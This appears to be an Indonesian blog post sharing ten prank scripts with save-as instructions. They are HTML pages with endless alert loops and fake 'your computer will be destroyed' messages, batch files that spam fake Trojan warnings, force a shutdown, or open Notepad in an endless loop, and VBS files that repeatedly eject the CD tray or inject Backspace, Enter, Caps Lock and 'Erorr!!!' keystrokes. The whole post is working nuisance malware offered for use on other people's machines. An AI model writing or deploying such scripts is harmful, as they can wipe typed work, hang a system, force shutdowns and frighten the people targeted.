<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer anda akan hancur")
var b = true
while (b == true)
{
alert("Silahkan ambil palu ajahâ?¦haâ?¦haâ?¦")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Atau yang inih
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer loo..kedinginan tuh")
var b = true
while (b == true)
{
alert("siram air ajah biar dingin")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Yang ini juga boleh
<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("kamu bau bangetâ?¦")
var b = true
while (b == true)
{
alert("belum mandi yahâ?¦idihâ?¦.bau baget nih mo muntah")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>
Silahkan Script di atas di simpan dengan (.html)
keterangan : membuka browser habis itu keluar message terus menerus
Script 2
@ECHO off
:Begin
msg * -WARNING-
msg * Sory Virus Trojan....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN
simpan dengan .bat
keterangan : membuat pesan keluar terus
Script 3
@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"
simpan dengan (.bat)
keterangan : bikin sutdownt trus ada pesannya
Script 4
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
simpan dengan (.vbs)
keterangan : bikin iseng CD/VCD buka tutup melulu
Script 5
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
simpan dengan (.vbs)
keterangan : membuat vbs nongol terus
Script 6
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
simpan dengan (.vbs)
keterangan : bikin tombol backpace nekan melulu
Script 7
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop
simpan dengan (.vbs)
keterangan : bikin otomatis ngetik "eror" di Notepad/Word
Script 8
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
simpan dengan (.bat)
keterangan : membuat supaya buka notepad melulu
Script 9
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
simpan dengan (.vbs)
keterangan : membuat setiap kali buka notepad otomatis ngetik yang kalian mau
Script 10
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
simpan dengan (.vbs)
keterangan : mainin capslock
0 komentar:
Posting Komentar